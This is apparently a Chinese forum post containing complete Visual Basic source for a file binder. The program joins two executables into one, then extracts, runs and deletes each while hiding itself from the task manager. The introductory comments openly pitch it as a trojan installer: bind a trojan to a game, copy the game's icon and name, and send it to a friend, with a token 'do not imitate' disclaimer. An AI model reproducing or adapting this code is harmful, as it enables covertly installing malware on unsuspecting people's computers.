来看来看一下下

'VB也疯狂，自己生成自己，病毒？



'病毒是在程序中加入额外的代码来完成自己的使命。



'这个程序是在程序中加入额外的程序。



'如果你想给你的朋友发个大木马程序......



'如果你想把什么驻留在你朋友的电脑里......



'如果你怕你的朋友玩怀了眼睛，想提前帮他关机......



'木马我不提供、安装木马的程序我不提供。



'提供给你源代码，其实修改一下就是很好的木马安装程序。



'假设你把这个程序编译成dan.exe



'这个程序的使用方法 如：DAN pro1.exe ie.exe



'就会生成一个 dan_2.exe



'运行dan_2.exe就会依次运行pro1.exe和ie.exe,但你不再需要这两个文件。



'实例: DAN hehehe.exe game.exe



'hehehe.exe 是你的木马安装程序



'game.exe 是游戏或是安装程序



'再把dan_2.exe 换上game.exe 的图标，改名成 game.exe



'发给你的朋友，呵呵......纯属例子，请勿模仿。



'支持监测自身是否染毒的程序，以及一切运行程序。



'不支持监测自身是否改名的程序（有这么变态的程序么？）



'切记只能编译成运行程序使用，且勿调试。（如果你有好的调试方法，感激涕淋）





'dangerous.bas 无窗口程序。





'全都是为shell32bit准备



Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long



Private Declare Function GetExitCodeProcess Lib "Kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long



Private Declare Sub Sleep Lib "Kernel32" (ByVal dwMilliseconds As Long)





Sub Shell32Bit(ByVal JobToDo As String) '运行一个程序直到它结束



Dim hProcess As Long



Dim RetVal As Long



hProcess = OpenProcess(&H400, False, Shell(JobToDo, 1))



Do



GetExitCodeProcess hProcess, RetVal



DoEvents: Sleep 100



Loop While RetVal = &H103



End Sub



Sub Main()



On Error Resume Next



Dim tCom As String



Dim tTag As Long



Dim Add1 As Long



Dim long1 As Long



Dim Add2 As Long



Dim long2 As Long



tTag = &H76543210 '古怪的几乎不可能出现在文件结尾的值，来判断是否连接过



Dim n As Long



Dim pict() As Byte





App.TaskVisible = False '不显示在任务管理器



ddd = App.Path



If Right(ddd, 1) <> "\" Then ddd = ddd & "\"



tCom = Command()



file1 = PickWord(tCom) '命令行输入的第一个参数



file2 = PickWord(tCom) '命令行输入的第二个参数



tfile = ddd & App.EXEName & ".exe"



tfile2 = ddd & App.EXEName & "_2" & ".exe"



FileCopy tfile, tfile2 '复制一个临时的文件





code = FreeFile(1)



Open tfile2 For Binary As code





Seek code, FileLen(tfile2) - 19 '读出最后20个字节纪录的信息



Get code, , Add1 '文件一地址



Get code, , long1 '文件一尺寸



Get code, , Add2 '文件二地址



Get code, , long2 '文件二尺寸



Get code, , n '是否处理过的标志



If n = tTag Then '如果是一个处理过的文件



'解开执行



file1 = ddd & App.EXEName & "_2a" & ".exe"



file2 = ddd & App.EXEName & "_2b" & ".exe"



'生成文件1



ReDim pict(long1 - 1)



Seek code, Add1



Get code, , pict



code2 = FreeFile(1)



Open file1 For Binary As code2



Put code2, , pict



Close code2



Shell32Bit file1 '执行文件1



Kill file1 '删除文件1



'生成文件2



ReDim pict(long2 - 1)



Seek code, Add2



Get code, , pict



code2 = FreeFile(1)



Open file2 For Binary As code2



Put code2, , pict



Close code2



Shell32Bit file2 '执行文件2



Kill file2 '删除文件2





Else



'合并文件



'并入文件1



Seek code, 1 + FileLen(tfile2)



code2 = FreeFile(1)



Open file1 For Binary As code2



ReDim pict(FileLen(file1) - 1)



Get code2, , pict



Put code, , pict



Close code2



If Err.Number <> 0 Then GoTo errNofile



Err.Clear



'并入文件2



Seek code, 1 + FileLen(tfile2) + FileLen(file1)



code2 = FreeFile(1)



Open file2 For Binary As code2



ReDim pict(FileLen(file2) - 1)



Get code2, , pict



Put code, , pict



Close code2



If Err.Number <> 0 Then GoTo errNofile



Err.Clear



'计录状态



Seek code, 1 + FileLen(tfile2) + FileLen(file1) + FileLen(file2)



Add1 = 1 + FileLen(tfile2)



long1 = FileLen(file1)



Add2 = 1 + FileLen(tfile2) + FileLen(file1)



long2 = FileLen(file2)



Put code, , Add1



Put code, , long1



Put code, , Add2



Put code, , long2



Put code, , tTag



End If





Close code





If n = tTag Then Kill tfile2 '执行完毕删除临时文件



End





errNofile: '缺少连接文件



Close code '关闭临时文件



Kill tfile2 '删除临时文件



MsgBox " 找不到文件。" & Chr(13) _



& Chr(13) _



& " 使用方法：" & Chr(13) _



& "APPname File1name File2name " & Chr(13) _



& " APPname: 本程序文件名" & Chr(13) _



& "File1name: 连接的第一个文件" & Chr(13) _



& "File2name: 连接的第二个文件" _



, vbOKOnly, "错误"



End





End Sub



Public Function PickWord(strs As String) As String '挨个取出字符串中的单词



For a = 1 To Len(strs)



If Mid(strs, a, 1) <> " " Then ss = a: GoTo 100



Next a



PickWord = "": Exit Function



100



For a = ss To Len(strs)



If Mid(strs, a, 1) = " " Then ee = a: GoTo 200



Next a



ee = a



200



PickWord = Mid(strs, ss, ee - ss)



strs = Mid(strs, ee + 1)



End Function